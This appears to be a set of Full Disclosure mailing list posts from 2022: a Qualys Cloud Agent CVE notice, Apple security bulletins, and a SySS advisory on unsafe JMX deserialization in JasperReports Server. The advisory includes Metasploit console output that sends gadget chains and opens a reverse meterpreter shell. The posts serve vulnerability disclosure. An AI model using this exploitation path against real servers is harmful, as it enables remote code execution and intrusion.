[FD] Multiple vulnerabilities discovered in Qualys Cloud Agent
The Unqork Security team discovered multiple security vulnerabilities in the Qualys Cloud Agent, to include arbitrary code execution. CVE-2022-29549 (Arbitrary Code Execution) https://nvd.nist.gov/vuln/detail/CVE-2022-29549 CVE-2022-29550 (Sensitive Information Disclosure) https://nvd.nist.gov/vuln/detail/CVE-2022-29550 Read more: https://www.unqork.com/resources/unqork-and-qualys-partner-to-resolve-zero-day-vulnerabilities https://blog.qualys.com/product-tech/2022/08/15/qualys-security-updates-cloud-agent-for-linux Daniel Wood Head of Product Security, Unqork -- **This e-mail, and any attachments thereto, is intended only for use by the addressee(s) named herein and may contain legally privileged and/or confidential information. If you are not the intended recipient of this e-mail, you are hereby notified that any dissemination, distribution or copying of this e-mail, and any attachments thereto, is strictly prohibited. If you have received this e-mail in error, please notify me by replying to this message and permanently delete the original and any copy of this e-mail and any printout thereof.** ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
[FD] [SYSS-2022-041] Remote Code Execution due to unsafe JMX default configuration in JasperReports Server
Advisory ID: SYSS-2022-041 Product: JasperReports Server Manufacturer: TIBCO Software Inc. Tested Version(s): 8.0.2 Community Edition Vulnerability Type:CWE-502: Deserialization of Untrusted Data Risk Level:High Solution Status: Fixed Manufacturer Notification: 2022-06-10 Solution Date: 2022-08-10 Public Disclosure: 2022-09-09 CVE Reference: None assigned Author of Advisory:Moritz Bechler, SySS GmbH Overview: The manufacturer describes the product as follows (see [1]): "TIBCO JasperReports(R) Server is a stand-alone and embeddable reporting server. It provides reporting and analytics that can be embedded into a web or mobile application as well as operate as a central information hub for the enterprise by delivering mission critical information on a real-time or scheduled basis to the browser, mobile device, or email inbox in a variety of file formats." Due to JMX/RMI services performing unsafe deserialization, it is possible to execute arbitrary code and system commands on the server system. Vulnerability Details: The JasperReports Server web application spawns a non-standard JMX diagnostic server exposed under the RMI name "jasperserver". The relevant configuration is found in WEB-INF/js.diagnostic.properties: -- #Diagnostic default remote access configuration diagnostic.usePlatformJMXServer = false diagnostic.port = 10990 diagnostic.name = jasperserver diagnostic.rmiHost = localhost -- It is also found in WEB-INF/applicationContext-diagnostic.xml: -- -- While the hostname for the RMI bind is specified as localhost, this does, in fact, not set the bind address and both the registry and the (random) object port are reachable over the network. Only the returned reference address is broken, as it points to the local address, but this can be adjusted for exploitation. And while various security patches have implemented type restrictions for the fundamental RMI services (DGC, Registry) and the JMX authentication, the latter is not applied in this case. It is only active if the following property is set: "jmx.remote.rmi.server.credential.types". For a regular JMX server, this is configured by the standard library's JMX ConnectorBootstrap; however, this is not the case for the custom JMX server created through Spring's ConnectorServerFactoryBean. Therefore, the RMIServer.newClient endpoint performs unrestricted, unsafe deserialization and can be exploited using one of the known, published gadget chains (e.g. from ysoserial[5]) in one of the libraries bundled by the server. These allow for execution of arbitrary bytecode and/or system commands on the server. Proof of Concept (PoC): JasperReports Server (CE) was installed according to the documentation[4] on a Debian 11 system running Tomcat 9.0.43-2~deb11u3 and OpenJDK 11.0.15. After the successful initial setup, a new RMI service can be observed on TCP port 10990: -- PORT STATE SERVICE VERSION 10990/tcp open java-rmi Java RMI | rmi-dumpregistry: | jasperserver | javax.management.remote.rmi.RMIServerImpl_Stub | @127.0.1.1:39297 | extends | java.rmi.server.RemoteStub | extends |_java.rmi.server.RemoteObject -- Using a custom Metasploit module, calls on the exposed RMI object can be made (calling JMX's RMIServer.newClient(Object creds)). The module is capable of identifying known exploitable types on the remote classpath and sending malicious crafted objects. These, when deserialized by the remote RMI server, spawn a Java Meterpreter instance and open a reverse shell. -- msf6 exploit(multi/java/rmi_server) > [*] Started reverse TCP handler on 192.168.56.1: [*] payload/java/classfile/meterpreter/reverse_tcp [*] Trying bytecode execution [*] Found RMI Registry with 1 registered objects [+] Registry lookup() name argument is filtered [*] Bind access check before deserialization [*] DGC found [+] DGC filters parameter types [*] Found 1 referenced objects, following references [*] Custom object found jasperserver [*] Trying with original host 192.168.56.106 port 39297 [*] Method/interface hash -1089742558549201240 method id -1 [*] Initial test returned error java.lang.SecurityException [-] Incompatible commons-fileupload [*] Identified 1 attack vector(s), gadgets ["hashdos", "beanutils", "hibernate", "hibernate-validator", "spring-typeprov", "spring-jta", "rhino"] [*] Skipping gadget hashdos based on config [*] Sending stage (53921 byte
[FD] APPLE-SA-2022-09-12-1 iOS 16
-BEGIN PGP SIGNED MESSAGE- Hash: SHA256 APPLE-SA-2022-09-12-1 iOS 16 iOS 16 addresses the following issues. Information about the security content is also available at https://support.apple.com/HT213446. Additional CVE entries to be added soon. Contacts Available for: iPhone 8 and later Impact: An app may be able to bypass Privacy preferences Description: This issue was addressed with improved checks. CVE-2022-32854: Holger Fuhrmannek of Deutsche Telekom Security Kernel Available for: iPhone 8 and later Impact: An app may be able to execute arbitrary code with kernel privileges Description: The issue was addressed with improved memory handling. CVE-2022-32911: Zweig of Kunlun Lab Kernel Available for: iPhone 8 and later Impact: An app may be able to disclose kernel memory Description: The issue was addressed with improved memory handling. CVE-2022-32864: Linus Henze of Pinauten GmbH (pinauten.de) Kernel Available for: iPhone 8 and later Impact: An application may be able to execute arbitrary code with kernel privileges. Description: The issue was addressed with improved bounds checks. CVE-2022-32917: an anonymous researcher Maps Available for: iPhone 8 and later Impact: An app may be able to read sensitive location information Description: A logic issue was addressed with improved restrictions. CVE-2022-32883: Ron Masas, breakpointhq.com MediaLibrary Available for: iPhone 8 and later Impact: A user may be able to elevate privileges Description: A memory corruption issue was addressed with improved input validation. CVE-2022-32908: an anonymous researcher Safari Available for: iPhone 8 and later Impact: Visiting a malicious website may lead to address bar spoofing Description: This issue was addressed with improved checks. CVE-2022-32795: Narendra Bhati of Suma Soft Pvt. Ltd. Pune (India) @imnarendrabhati Safari Extensions Available for: iPhone 8 and later Impact: A website may be able to track users through Safari web extensions Description: A logic issue was addressed with improved state management. WebKit Bugzilla: 242278 CVE-2022-32868: Michael Shortcuts Available for: iPhone 8 and later Impact: A person with physical access to an iOS device may be able to access photos from the lock screen Description: A logic issue was addressed with improved restrictions. CVE-2022-32872: Elite Tech Guru WebKit Available for: iPhone 8 and later Impact: Processing maliciously crafted web content may lead to arbitrary code execution Description: A buffer overflow issue was addressed with improved memory handling. WebKit Bugzilla: 241969 CVE-2022-32886: P1umer, afang5472, xmzyshypnc WebKit Available for: iPhone 8 and later Impact: Processing maliciously crafted web content may lead to arbitrary code execution Description: An out-of-bounds read was addressed with improved bounds checking. WebKit Bugzilla: 242762 CVE-2022-32912: Jeonghoon Shin (@singi21a) at Theori working with Trend Micro Zero Day Initiative Additional recognition Game Center We would like to acknowledge Joshua Jones for their assistance. Identity Services We would like to acknowledge Joshua Jones for their assistance. This update is available through iTunes and Software Update on your iOS device, and will not appear in your computer's Software Update application, or in the Apple Downloads site. Make sure you have an Internet connection and have installed the latest version of iTunes from https://www.apple.com/itunes/ iTunes and Software Update on the device will automatically check Apple's update server on its weekly schedule. When an update is detected, it is downloaded and the option to be installed is presented to the user when the iOS device is docked. We recommend applying the update immediately if possible. Selecting Don't Install will present the option the next time you connect your iOS device. The automatic update process may take up to a week depending on the day that iTunes or the device checks for updates. You may manually obtain the update via the Check for Updates button within iTunes, or the Software Update on your device. To check that the iPhone, iPod touch, or iPad has been updated: * Navigate to Settings * Select General * Select About. The version after applying this update will be "iOS 16". All information is also posted on the Apple Security Updates web site: https://support.apple.com/en-us/HT201222. This message is signed with Apple's Product Security PGP key, and details are available at: https://www.apple.com/support/security/pgp/ -BEGIN PGP SIGNATURE- iQIzBAEBCAAdFiEEBP+4DupqR5Sgt1DB4RjMIDkeNxkFAmMfdgEACgkQ4RjMIDke NxlhOhAApZYokZaK7dpu3iZkFM0Ko2bn4lmXIKFXx+gYrHKhUlNg1VkKaDzl+Rts 3atFGho+AwARh4Abbc7/t1cdtflcr37cFcTszZ4ONllJ2rxNkRzvZa3H5fPgOL8T j1UqNI8zvQA1OmAj2mxWo+SUbGPVYCesuX6INl0xfd6PTcTf1xKDTgo292FVAJ7c zCjVevodGNJognUy81DVhInJ1m4bMFt/3RC57o586OHyohiemdXrCAKML76qc8Eq 9gdTmB4P3NkxWTMWCbIIjX3x1FUEWkJ6liHEIMOwv/hwNGLJtI5R5QUYvbtz+a30 3L+AfZbmOs2yGVx0YQY16UtoRAEs3ig310G3MDL4ZlcHYQDWqNS2U
[FD] APPLE-SA-2022-09-12-2 iOS 15.7 and iPadOS 15.7
-BEGIN PGP SIGNED MESSAGE- Hash: SHA256 APPLE-SA-2022-09-12-2 iOS 15.7 and iPadOS 15.7 iOS 15.7 and iPadOS 15.7 addresses the following issues. Information about the security content is also available at https://support.apple.com/HT213445. Contacts Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation) Impact: An app may be able to bypass Privacy preferences Description: This issue was addressed with improved checks. CVE-2022-32854: Holger Fuhrmannek of Deutsche Telekom Security Kernel Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation) Impact: An app may be able to execute arbitrary code with kernel privileges Description: The issue was addressed with improved memory handling. CVE-2022-32911: Zweig of Kunlun Lab Kernel Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation) Impact: An app may be able to disclose kernel memory Description: The issue was addressed with improved memory handling. CVE-2022-32864: Linus Henze of Pinauten GmbH (pinauten.de) Kernel Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation) Impact: An application may be able to execute arbitrary code with kernel privileges. Apple is aware of a report that this issue may have been actively exploited. Description: The issue was addressed with improved bounds checks. CVE-2022-32917: an anonymous researcher Maps Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation) Impact: An app may be able to read sensitive location information Description: A logic issue was addressed with improved restrictions. CVE-2022-32883: Ron Masas, breakpointhq.com MediaLibrary Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation) Impact: A user may be able to elevate privileges Description: A memory corruption issue was addressed with improved input validation. CVE-2022-32908: an anonymous researcher Safari Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation) Impact: Visiting a malicious website may lead to address bar spoofing Description: This issue was addressed with improved checks. CVE-2022-32795: Narendra Bhati of Suma Soft Pvt. Ltd. Pune (India) @imnarendrabhati Safari Extensions Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation) Impact: A website may be able to track users through Safari web extensions Description: A logic issue was addressed with improved state management. WebKit Bugzilla: 242278 CVE-2022-32868: Michael Shortcuts Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation) Impact: A person with physical access to an iOS device may be able to access photos from the lock screen Description: A logic issue was addressed with improved restrictions. CVE-2022-32872: Elite Tech Guru WebKit Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation) Impact: Processing maliciously crafted web content may lead to arbitrary code execution Description: A buffer overflow issue was addressed with improved memory handling. WebKit Bugzilla: 241969 CVE-2022-32886: P1umer, afang5472, xmzyshypnc WebKit Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation) Impact: Processing maliciously crafted web content may lead to arbitrary code execution Description: An out-of-bounds read was addressed with improved bounds checking. WebKit Bugzilla: 242762 CVE-2022-32912: Jeonghoon Shin (@singi21a) at Theori working with Trend Micro Zero Day Initiative Additional recognition Game Center We would like to acknowledge Joshua Jones for their assistance. Identity Services We would like to acknowledge Joshua Jones for their assistance. This update is available through iTunes and Software Update on your iOS device, and will not appear in your computer's Software Update application, or in the Apple Downloads site. Make sure you have an Internet connection and have installed the latest version of iTunes from https://www.apple.com/itunes/ iTunes
[FD] APPLE-SA-2022-09-12-4 macOS Monterey 12.6
-BEGIN PGP SIGNED MESSAGE- Hash: SHA256 APPLE-SA-2022-09-12-4 macOS Monterey 12.6 macOS Monterey 12.6 addresses the following issues. Information about the security content is also available at https://support.apple.com/HT213444. ATS Available for: macOS Monterey Impact: An app may be able to bypass Privacy preferences Description: A logic issue was addressed with improved state management. CVE-2022-32902: Mickey Jin (@patch1t) iMovie Available for: macOS Monterey Impact: A user may be able to view sensitive user information Description: This issue was addressed by enabling hardened runtime. CVE-2022-32896: Wojciech ReguĊa (@_r3ggi) Kernel Available for: macOS Monterey Impact: An app may be able to execute arbitrary code with kernel privileges Description: The issue was addressed with improved memory handling. CVE-2022-32911: Zweig of Kunlun Lab Kernel Available for: macOS Monterey Impact: An app may be able to disclose kernel memory Description: The issue was addressed with improved memory handling. CVE-2022-32864: Linus Henze of Pinauten GmbH (pinauten.de) Kernel Available for: macOS Monterey Impact: An application may be able to execute arbitrary code with kernel privileges. Apple is aware of a report that this issue may have been actively exploited. Description: The issue was addressed with improved bounds checks. CVE-2022-32917: an anonymous researcher Maps Available for: macOS Monterey Impact: An app may be able to read sensitive location information Description: A logic issue was addressed with improved restrictions. CVE-2022-32883: Ron Masas, breakpointhq.com MediaLibrary Available for: macOS Monterey Impact: A user may be able to elevate privileges Description: A memory corruption issue was addressed with improved input validation. CVE-2022-32908: an anonymous researcher PackageKit Available for: macOS Monterey Impact: An app may be able to gain elevated privileges Description: A logic issue was addressed with improved state management. CVE-2022-32900: Mickey Jin (@patch1t) Additional recognition Identity Services We would like to acknowledge Joshua Jones for their assistance. macOS Monterey 12.6 may be obtained from the Mac App Store or Apple's Software Downloads web site: https://support.apple.com/downloads/ All information is also posted on the Apple Security Updates web site: https://support.apple.com/en-us/HT201222. This message is signed with Apple's Product Security PGP key, and details are available at: https://www.apple.com/support/security/pgp/ -BEGIN PGP SIGNATURE- iQIzBAEBCAAdFiEEBP+4DupqR5Sgt1DB4RjMIDkeNxkFAmMfdoAACgkQ4RjMIDke NxkI5g//SbLPARNJZkH5CzD60NB87QymxWmpvPcbPiywLpVy8Yj7CzQ21rM7cshx 65LXO+4S5dIkWSv38lv7o+JOTuhPxnucdR9EhPN4Mjyl132S9zOylgaotp0/LZuJ vGOzN1LUO260VeB/4wpnWM5wQY5b16GGrIj1LJ1knKKNB05/JdBEHC0fXhPgIZ0A fOcQzNVaeySayjx4mariluq0GBXKQ9ELPEhS+z1XCEg6Rw1NLS0cC1mhGoXojRYF Bij2De+JBEFqtGTo4ceN52yBmUj4UF11zJPl3fybJIM1dmkRd0/7PpsqJmEiASWr cmCsY4DiMbFVPnpHKv8dkt4dNseejGntpEsHljlq6rATLSbGkTowwRtaF8QtgZzT wS3mAWlit6vjiMQlgMVLnDk72IGVqaIcu2JmIJtfLFDgXPctO64ZAvbWDPeCyNfe +6hnVv/sWzFh6dHh+kJYwDrMIxZnFZuZD1NzaHqxEPKUY9CdK8GhNzwVfOPzlP3U TfOaZGuyudXKn7k04ItHBPtq5P+oYDPDlfIzeP8n+WYLbUCP+a1A8yrqQnQuY1Rs N3cz70al/9ogGzamSCIe0jQxGrVaMgvd8GEDK9GnksRxd0vJl/rMm05wruOyv2pD gEhw6ZdE97icESMAOvPMjIR0eANuiK6vgyrg+GRn2RSqLpsr1VM= =qtyT -END PGP SIGNATURE- ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
[FD] APPLE-SA-2022-09-12-5 Safari 16
-BEGIN PGP SIGNED MESSAGE- Hash: SHA256 APPLE-SA-2022-09-12-5 Safari 16 Safari 16 addresses the following issues. Information about the security content is also available at https://support.apple.com/HT213442. Safari Extensions Available for: macOS Big Sur and macOS Monterey Impact: A website may be able to track users through Safari web extensions Description: A logic issue was addressed with improved state management. WebKit Bugzilla: 242278 CVE-2022-32868: Michael WebKit Available for: macOS Big Sur and macOS Monterey Impact: Processing maliciously crafted web content may lead to arbitrary code execution Description: A buffer overflow issue was addressed with improved memory handling. WebKit Bugzilla: 241969 CVE-2022-32886: P1umer, afang5472, xmzyshypnc WebKit Available for: macOS Big Sur and macOS Monterey Impact: Processing maliciously crafted web content may lead to arbitrary code execution Description: An out-of-bounds read was addressed with improved bounds checking. WebKit Bugzilla: 242762 CVE-2022-32912: Jeonghoon Shin (@singi21a) at Theori working with Trend Micro Zero Day Initiative WebKit Available for: macOS Big Sur and macOS Monterey Impact: Visiting a website that frames malicious content may lead to UI spoofing Description: The issue was addressed with improved UI handling. WebKit Bugzilla: 243236 CVE-2022-32891: @real_as3617, an anonymous researcher Safari 16 may be obtained from the Mac App Store. All information is also posted on the Apple Security Updates web site: https://support.apple.com/en-us/HT201222. This message is signed with Apple's Product Security PGP key, and details are available at: https://www.apple.com/support/security/pgp/ -BEGIN PGP SIGNATURE- iQIzBAEBCAAdFiEEBP+4DupqR5Sgt1DB4RjMIDkeNxkFAmMfdgMACgkQ4RjMIDke Nxk7dRAAgdvFNEmEdfhDdLWbn7ZIdNrxPZDsg1MiCVFyPvPesNRo3Uj+XI2m93E4 U7koTDn7+DE62TjkdNEqOQ0bXpy84uWAcZoZDmGJOt0IQOPwcMf8CMzhj/GytrTt PCC2IjWDuoJsoQ9lIm71WN3nsfrpO/P4cO04H3Tw4CxFI9Oj0doALGvamf0XVYCN TyCdw15kQ+WTriI5rnzsE4qqh4vaEKeuyEiZQzR26p3ctpT+inffGz6g9uYgy5AW v1Kwln7DDSIvYyAcrIyPKqwjsdfD6dmnufKTSUkOHLOpvqx5P/PLQ9f4qv3VXy6c Bs4eLUUvONzxoo07TB3V3/OsC1eQwDnPugrja5SFTgZUpl9QM7PMijoOar7Y11JL fMgJArHEDWB4JatejBrgsBps+SU2ozSAaT71hfm77Jb1TSSRDuxX2po2AjiwKOcF S+T2yJSIgI5nsP9i1RRG3+hN6MOUKKmFxlWxXPLdCO4pG04qdmMOE5HR2bRgQ3/o gdRb/OYTQkchSlhbpvdF8zO0QZLXh+GeiLxWoygfbQQmv33KeKRlrbKVctyB4HQZ ZxTi0Tn5pfdnuB2QvGn6b0KZZJlDHkiiNj3grvD5uFSH6H0MV7apLiJ636qEL/Tp o8PWQgop+KfYatZDVAQMYekpRYwz7oDdFm/i6SYvnP09wx55Ooc= =+qsX -END PGP SIGNATURE- ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
